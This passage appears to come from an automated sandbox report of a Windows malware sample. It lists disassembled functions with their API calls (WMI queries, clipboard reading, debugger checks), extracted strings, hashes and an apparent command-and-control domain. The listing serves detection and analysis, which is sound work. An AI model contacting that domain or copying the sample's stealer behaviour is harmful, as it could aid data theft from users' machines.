Function 00436F90 Relevance: 35.6, APIs: 11, Strings: 9, Instructions: 571
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044068C,00000000,00000001,0044067C), ref: 00437173
SysAllocString.OLEAUT32(D080DE8F), ref: 004371DB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00437218
SysAllocString.OLEAUT32(9F4F9D4B), ref: 00437268
SysAllocString.OLEAUT32(E8D216C6), ref: 0043731A
VariantInit.OLEAUT32(.'()), ref: 00437385
VariantClear.OLEAUT32(.'()), ref: 004374E0
SysFreeString.OLEAUT32(?), ref: 00437504
SysFreeString.OLEAUT32(?), ref: 0043750A
SysFreeString.OLEAUT32(00000000), ref: 00437517
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00437552

Strings

>C, xrefs: 004370D7
!", xrefs: 004371A9
C, xrefs: 004370CF
"#$%, xrefs: 004375FC
p*v,, xrefs: 00437199
.;, xrefs: 00437282
.'(), xrefs: 00437008, 004370C1
{|, xrefs: 004373BF
{.] , xrefs: 004371A1

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: !"$"#$%$.'()$.;$>C$C$p*v,${.] ${|
API String ID: 2573436264-264043890
Opcode ID: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction ID: 06fb3ad9466451430b31427f45de08a7eb0daa23bec53a4f5f9458ad790f981b
Opcode Fuzzy Hash: 7a78478979428ae9a6e1ff4e339a7a4033eb69ce9e06f36cd810f297e7b98f92
Instruction Fuzzy Hash: D302F0B1A083009FD320CF64CC81B5BBBE5EB99314F14982DF6C59B3A1D679E805CB96

Function 0040A960 Relevance: 9.2, Strings: 7, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#xDz, xrefs: 0040AACE
N[\D, xrefs: 0040AC00
n, xrefs: 0040A982
A|}~, xrefs: 0040AAD6
kl, xrefs: 0040AB2D
N[\D, xrefs: 0040AD01, 0040ADC0, 0040ACD2, 0040ACF6, 0040ADEE, 0040ABA4, 0040ABC5, 0040ADB7
'D F, xrefs: 0040AAC6

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: #xDz$'D F$A|}~$N[\D$N[\D$kl$n
API String ID: 0-490458541
Opcode ID: d47076afbd05a78a046f2f951199cb1dbd1ea0c989cd37d394d3fd4149bb2193
Instruction ID: 966b8f91f76bb20883ed88500b6b89ab0c93423946d56f050922860fedc986fe
Opcode Fuzzy Hash: d47076afbd05a78a046f2f951199cb1dbd1ea0c989cd37d394d3fd4149bb2193
Instruction Fuzzy Hash: D7C1267260C3504BC714CF6488905AFBBD3ABC2304F1E893DE9D56B382D679991AC78B

Function 0040CE55 Relevance: 9.0, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

I@, xrefs: 0040D0C4
z@(, xrefs: 0040CF5B
drive-connect.cyou, xrefs: 0040D27A
490AD5E680C37A7023D904AF30EFEBBC, xrefs: 0040CEAF
VgfW, xrefs: 0040CF2F
N~ :, xrefs: 0040CF45
F^, xrefs: 0040D0B9

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: 490AD5E680C37A7023D904AF30EFEBBC$F^$I@$N~ :$VgfW$drive-connect.cyou$z@(
API String ID: 0-981876995
Opcode ID: 12efaed7f1b54f12da6bbf58353711d555d00ce7dd5b906222aedfdf9b1c7be8
Instruction ID: b1d760c26d9b90ec4573806c6615211f8657e28aa76e89aec63d6860f5017e85
Opcode Fuzzy Hash: 12efaed7f1b54f12da6bbf58353711d555d00ce7dd5b906222aedfdf9b1c7be8
Instruction Fuzzy Hash: A191EEB05083C18BD335CF25D8A0BEBBBE0AB96314F148D6DD4DD9B282D738454ACB96

Function 004087F0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408811
GetCurrentThreadId.KERNEL32 ref: 0040881A
GetForegroundWindow.USER32 ref: 004088CE
ExitProcess.KERNEL32 ref: 0040897B

Strings

YO9W, xrefs: 00408822

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: CurrentProcess$ExitForegroundThreadWindow
String ID: YO9W
API String ID: 3118123366-386669604
Opcode ID: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction ID: 5b12a659e8285d1355c3597aa5681aa9478bfa7506ef17589c1493984f4e9e7d
Opcode Fuzzy Hash: 81875feee291dd51c94163340b3786e966dc5896524b3e4d2eaf5977dbc455ff
Instruction Fuzzy Hash: 98315977F5061807C31C7AB98C4636AB5874BC4614F0F863E9DD9AB386FDB89C0442D9

Function 0043B480 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00409CC0 Relevance: 1.3, Strings: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\U^_, xrefs: 00409CE5

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: \U^_
API String ID: 0-352632802
Opcode ID: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction ID: 5fa690bb4235e6f9a1b833386d74a381627e7adb8b1be8a89cbf23ee07b36487
Opcode Fuzzy Hash: b233260ff75ba58cbb536c0014e0eb0df055bc4e14581868770786c388d706bb
Instruction Fuzzy Hash: D011E23060C3808FD324DF3495549ABBBA5EFD7748F545A2CE4C56B281C735980A8FAA

Function 00434BDC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00434C09

Strings

t, xrefs: 00434C14

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: t
API String ID: 95929093-2238339752
Opcode ID: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction ID: 08a8b9a0e37a212ebea7de5d04b95149eac63241ee44ff142c93878423301f38
Opcode Fuzzy Hash: 3fa4c25dce8568a0724ebcbfa99840aa77e9227c5342f76fc488d9eef6af0589
Instruction Fuzzy Hash: 53F0FF34808298CFDB10DF68D4943EEBBF16F66304F1880ACC08497382D37A9A84CB12

Function 0043B720 Relevance: 3.0, APIs: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0043B720
GetForegroundWindow.USER32 ref: 0043B740

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction ID: 191facca889f69fa70601903ca8693053aaba1cbaba24685dbffd0b384c421fe
Opcode Fuzzy Hash: a4781643aa2d8fd57512208f1c3e62aa4b8d5176cb57333a04816d28865289df
Instruction Fuzzy Hash: 7ED0A7FDD20110EBC604AB71FC4A41B3A1AEB4722DB545539EC0343352DA39782E868F

Function 0040CDF0 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CE03

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction ID: f1973b7854016afe0481596635c710bb103935c4c1c993b3491e04eff0e8badb
Opcode Fuzzy Hash: 61d928746ba4ae58ea54a0875f1c3d0382ed5290a25c5d8e3ced17899992ccae
Instruction Fuzzy Hash: 01D0A7345545486BD250A75CDD0BF563A5C9703B29F400239B763D61D1D9506920C669

Function 0040CE23 Relevance: 1.5, APIs: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CE35

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction ID: 9bb2948b1e33ad1240181575e0f5375bfb099cf60bc3df2fdc322b3d55e14239
Opcode Fuzzy Hash: 9269880a45a3c80f6ec8299234c73a1314589920fa48725fb3d67ea21efaca66
Instruction Fuzzy Hash: CAD0C9343D83007AF5748B48ED53F1432169702F11FB00629F322FE6D4C9E07121861D

Function 00439B60 Relevance: 1.5, APIs: 1, Instructions: 15
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000,00000000,00412F5C), ref: 00439B80

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction ID: 8d81dc3d2e1c71e2762f942217139477682170591cb2c618f1865e02491f5b7e
Opcode Fuzzy Hash: d0720c9dfbe2666778a34d5469e5ae55c8d5964329e0fb1cba2b62a2f878fbc3
Instruction Fuzzy Hash: 76D0C935505126EBCA506B28BC15BC73A989F4A671F0708A1B4006A075C765EC919AD8

Function 00439B40 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00414E57,00000400), ref: 00439B50

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction ID: 3d340f236624c1ae318c051adf9ea47d82c8c11c3707c94fc3fa8f772c7fe72e
Opcode Fuzzy Hash: a95155655fbe3eb8f0e77a05497d8175f8be12db265ae77d37b3e7249a9ffdc4
Instruction Fuzzy Hash: 91C04831145224ABDA10AB15EC09B8A3AA8AF496A1F1A04A6B005660B28760AC929A98

Function 0040D2C5 Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

CoUninitialize.COMBASE ref: 0040D2C5

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: Uninitialize
String ID:
API String ID: 3861434553-0
Opcode ID: 5707253a0f4c189d33386fe30951e2cae249061f9284b9e86972a201113a272f
Instruction ID: aa1ebcc13e0591ffa587ed879dc96101c66d2de581aeeee77924bd980006153c
Opcode Fuzzy Hash: 5707253a0f4c189d33386fe30951e2cae249061f9284b9e86972a201113a272f
Instruction Fuzzy Hash: 1AB0923AA1A015DE8A0047A5B8480D8F360E6882A67508873E31AE2010D231113A4656

Non-executed Functions

Function 00431BB0 Relevance: 47.4, APIs: 2, Strings: 25, Instructions: 179COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00431BF9
GetSystemMetrics.USER32 ref: 00431C09

Strings

="C, xrefs: 00431DD2
="C, xrefs: 00431E6C
#C, xrefs: 00431D7A
="C, xrefs: 00431E8D
="C, xrefs: 00431EE5
="C, xrefs: 00431EC4
="C, xrefs: 00431E1F
="C, xrefs: 00431DA6
='C, xrefs: 00431D9B
="C, xrefs: 00431E09
="C, xrefs: 00431DDD
;(C, xrefs: 00431E4B
="C, xrefs: 00431EDA
="C, xrefs: 00431EB9
&)C, xrefs: 00431EAE
="C, xrefs: 00431E98
="C, xrefs: 00431DFE
="C, xrefs: 00431E61
S%C, xrefs: 00431E14
="C, xrefs: 00431DB1
="C, xrefs: 00431E2A
="C, xrefs: 00431E77
="C, xrefs: 00431DBC
, xrefs: 00431CF6
b(C, xrefs: 00431ECF

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: MetricsSystem
String ID: $&)C$;(C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$="C$='C$S%C$b(C$#C
API String ID: 4116985748-628680385
Opcode ID: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction ID: ea45c71986b2e534ecec44a4126f62931ddcc8577b73b097e58ed3aa899a90b6
Opcode Fuzzy Hash: c4360614f8f82c5e27f19abdd04c6f864ef0af49341f313285d7bdd33a848109
Instruction Fuzzy Hash: 41B16FB04097818FE771DF14D48879BBBE0BBC5308F508A2EE5E89B251CBB95448CF86

Function 00419C10 Relevance: 15.3, APIs: 2, Strings: 6, Instructions: 1297COMMON

Download Yara Rule

APIs

Part of subcall function 0043B480: LdrInitializeThunk.NTDLL(0043D4FB,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043B4AE

FreeLibrary.KERNEL32(?), ref: 0041A21A
FreeLibrary.KERNEL32(?), ref: 0041A29B

Strings

I,~M, xrefs: 0041AA47
cba`, xrefs: 00419C63
PQ, xrefs: 00419FAC
wEtG, xrefs: 00419F94
cba`, xrefs: 0041A13D
cba`, xrefs: 0041AA31

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: I,~M$PQ$cba`$cba`$cba`$wEtG
API String ID: 764372645-3803835663
Opcode ID: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction ID: ce701afe96e54189f6fff091c8333c98f5ae15aa60c98f01a083bef101dadeb2
Opcode Fuzzy Hash: 47063c938c01330124c9dc59b6d375a3b8a360990f39732c0e3748d67b9dcd4f
Instruction Fuzzy Hash: C59235746093409FE714CF65D891B6BBBE2EBD5300F28882EE58487391D7799C81CB9B

Function 00425920 Relevance: 12.9, Strings: 10, Instructions: 398COMMON

Download Yara Rule

Strings

Z\, xrefs: 004259FF
=j9l, xrefs: 0042599F
&f?x, xrefs: 004259B7
<b"d, xrefs: 004259AF
cba`, xrefs: 00425E6C
cba`, xrefs: 00425C50
^P, xrefs: 00425A07
"r,t, xrefs: 004259CF
z%|, xrefs: 004259BF
3v#H, xrefs: 004259D7

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: z%|$"r,t$&f?x$3v#H$<b"d$=j9l$cba`$cba`$Z\$^P
API String ID: 0-3047316687
Opcode ID: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction ID: 146473404e5499b4986dffa8d26f26e1c07bf5215faae6f3d7194190b628d0b4
Opcode Fuzzy Hash: 45c83a3ddc5386c7eaecb6d0721308efe7616dc8ac7a87c6f5778f813dbd46f5
Instruction Fuzzy Hash: C2D124B9608380DFE324DF15E88176BB7E1FBD5304F94982DE58587261D738D901CB4A

Function 004233A0 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

VW, xrefs: 004233E5
]~"p, xrefs: 0042367F
#R,T, xrefs: 00423647
ij, xrefs: 0042397D
$^<P, xrefs: 0042363F
KM, xrefs: 004237FB

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: #R,T$$^<P$VW$]~"p$ij$KM
API String ID: 0-788320361
Opcode ID: 0ef6ac19612ecc2b18e822a80ca420e4bb8027dd0eadc437e0bac95af6737912
Instruction ID: 9ed236048ece28067beed024fb633757567cd4a7e3bca11c75bb2a7735f0e68b
Opcode Fuzzy Hash: 0ef6ac19612ecc2b18e822a80ca420e4bb8027dd0eadc437e0bac95af6737912
Instruction Fuzzy Hash: D1F1CAB46083509FD310DF65E88262BBBF1EFD5304F44892DE4958B351EB789A06CB4B

Function 00431A30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00431A40
GetWindowLongW.USER32 ref: 00431A65
GetClipboardData.USER32 ref: 00431A75
GlobalLock.KERNEL32 ref: 00431A8E
GlobalUnlock.KERNEL32 ref: 00431B90
CloseClipboard.USER32 ref: 00431B99

Strings

K, xrefs: 00431B1E

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: K
API String ID: 2832541153-856455061
Opcode ID: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction ID: 513562b2ac7e6d1d4712994eff6d7c1bc04b9d90a7c3137532ed1f51a9abc6ba
Opcode Fuzzy Hash: 027abc228ed841da0674a97a3735ab7f080d79d715808bd082ae78d0cbe3e8e1
Instruction Fuzzy Hash: 34418E6150C7818ED310AF7C988826FBFE09B96224F044A6EE8E5872D2E6389549C797

Function 00A217D0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 293fileCOMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32(00000000,00000000), ref: 00A2185C
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00A21885
CloseHandle.KERNEL32(00000000), ref: 00A21895
CloseHandle.KERNEL32(00000000), ref: 00A21B20
CloseHandle.KERNEL32(00000000), ref: 00A21B35

Strings

(, xrefs: 00A218D0

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: CloseHandle$File$ReadSize
String ID: (
API String ID: 2509154390-3887548279
Opcode ID: 901c9031ea54df15742f786e05efb107b998ccf9dca09fc62196958b7e0fda37
Instruction ID: 2a0419581066b998187b565f7f67e4ce3c046acfdf10befae45f154274e0a586
Opcode Fuzzy Hash: 901c9031ea54df15742f786e05efb107b998ccf9dca09fc62196958b7e0fda37
Instruction Fuzzy Hash: 59A10272D002249BCB14DFBCED85AAEBBB6BF5A350F141639E801BB351E73499418B94

Function 004296D8 Relevance: 9.1, Strings: 7, Instructions: 340COMMON

Download Yara Rule

Strings

);?g, xrefs: 004299EE
fa, xrefs: 004299F6
;>*2, xrefs: 004299CE
='0{, xrefs: 004299DE
9nI9, xrefs: 004299D6
[93=, xrefs: 004299E6
cba`, xrefs: 0042974C

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: );?g$9nI9$;>*2$='0{$[93=$cba`$fa
API String ID: 0-154584671
Opcode ID: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction ID: 21be1e4f2e6752f9380b4aadbcf4cd787e7e0f4b09ea5b297d7e9ef9a1fb0c4b
Opcode Fuzzy Hash: 3e51a02978bc99ce7d016768a4801fe2a924607298026115374562d3702a8947
Instruction Fuzzy Hash: 3FC1077560C3A08FC3118F29D89066BBBE2AF96310F588A6DF4E1573D2C7398D45CB5A

Function 0042D085 Relevance: 6.6, Strings: 5, Instructions: 368COMMON

Download Yara Rule

Strings

0, xrefs: 0042D430
#, xrefs: 0042D4AC
AGsW, xrefs: 0042D496
P, xrefs: 0042D554
k, xrefs: 0042D4B6

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: #$0$AGsW$P$k
API String ID: 0-1629916805
Opcode ID: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction ID: 8816b6b3b95a3b8c405e0a0f8c285763547ceed8af8c8b555c70c7a9f783aa76
Opcode Fuzzy Hash: a92c176f258902a07af39c1f8e4a41f6c7503ef90e7a1abad74dc0064dca0dbd
Instruction Fuzzy Hash: 1CC1F4317183918ED328CF39D4513ABBBD2AFD2304F68866ED4D58B2D1D6798449C71B

Function 00A31A10 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction ID: e82441bb91e8cc3fd62908d4a82aa5815b752442675b936127d28601a68e2815
Opcode Fuzzy Hash: 7946e7d3bd8a4c71b1004167feaff1146a0b4289e9922db4fb30fff94b398ee0
Instruction Fuzzy Hash: 38021A71E012199BDF14CFA9D9806AEFBF1FF49354F248269E919A7340D731AE41CB90

Function 0040C36E Relevance: 6.5, Strings: 5, Instructions: 203COMMON

Download Yara Rule

Strings

CJ, xrefs: 0040C67E
){+}, xrefs: 0040C788
4cde, xrefs: 0040C79C
F'k), xrefs: 0040C706
GS, xrefs: 0040C677

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID: ){+}$4cde$CJ$F'k)$GS
API String ID: 0-4192230409
Opcode ID: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction ID: 6afdb2316fdadaf12e32bd698f1912d34734f08b0bc4a82971b76fff6b28e520
Opcode Fuzzy Hash: 5de04a91f599762488a7f1befa48500976ff1de46b0c1ed8ec4e4c363fac47c6
Instruction Fuzzy Hash: 50B11BB84053058FE354DF629688FAA7BB0FB25310F1A82E9E0992F776D7748405CF96

Function 00A239F1 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00A239FD
IsDebuggerPresent.KERNEL32 ref: 00A23AC9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00A23AE2
UnhandledExceptionFilter.KERNEL32(?), ref: 00A23AEC

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 826481170715b79ce70999a2089fa8c092631c9e1e43496a5c9f673e957ca1ca
Instruction ID: 41ffff8eb6843aef07b09245e50841a81fb206d02039299cf28b676d98aee85b
Opcode Fuzzy Hash: 826481170715b79ce70999a2089fa8c092631c9e1e43496a5c9f673e957ca1ca
Instruction Fuzzy Hash: DD310875D052289BDF21DFA4ED497CDBBB8AF08340F1041AAE40DAB250EB759B85CF45

Function 0042B763 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 308COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?), ref: 0042BA82

Strings

3, xrefs: 0042D6CD
qjjw, xrefs: 0042B9A6

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: FreeLibrary
String ID: 3$qjjw
API String ID: 3664257935-3235754969
Opcode ID: 3641d3b1d95d9d0e2252580d4e70a4747529bd2a480d62c0a42bd322f018f1c7
Instruction ID: e0248e225440bb7285b8803733d60271f7e61eb44642cbaa2f092a8799675a72
